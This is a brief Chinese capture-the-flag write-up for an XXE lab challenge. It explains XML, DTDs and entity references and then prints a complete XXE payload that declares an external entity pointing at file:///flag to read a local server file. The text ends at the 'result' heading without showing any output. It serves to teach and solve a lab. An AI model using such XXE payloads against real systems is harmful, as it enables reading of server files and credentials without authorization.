通过使用BurpSuite工具抓包可以得出此题使用的是XML注入。
XML原理
xml是一种类似与html的文本标记语言,与HTML不同的是,xml的作用是传输数据,而不是显示数据。
xml语言是定义一个根元素,下面跟上若干对子元素。
XML DTD
为了规范文档的格式,可以在文件头部编写 XML DTD;
XML DTD 还可以指定为本地的DTD文件或网络文件;
引用实体
在Burp中代替xml部分代码,运行结果如下:
BUU XXE COURSE 1 1 解题步骤
在xml中引用实体,调出本地的flag文件;
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY admin SYSTEM "file:///flag">
]>
<root>
<username> &admin; </username>
<password> admin </password>
</root>
结果: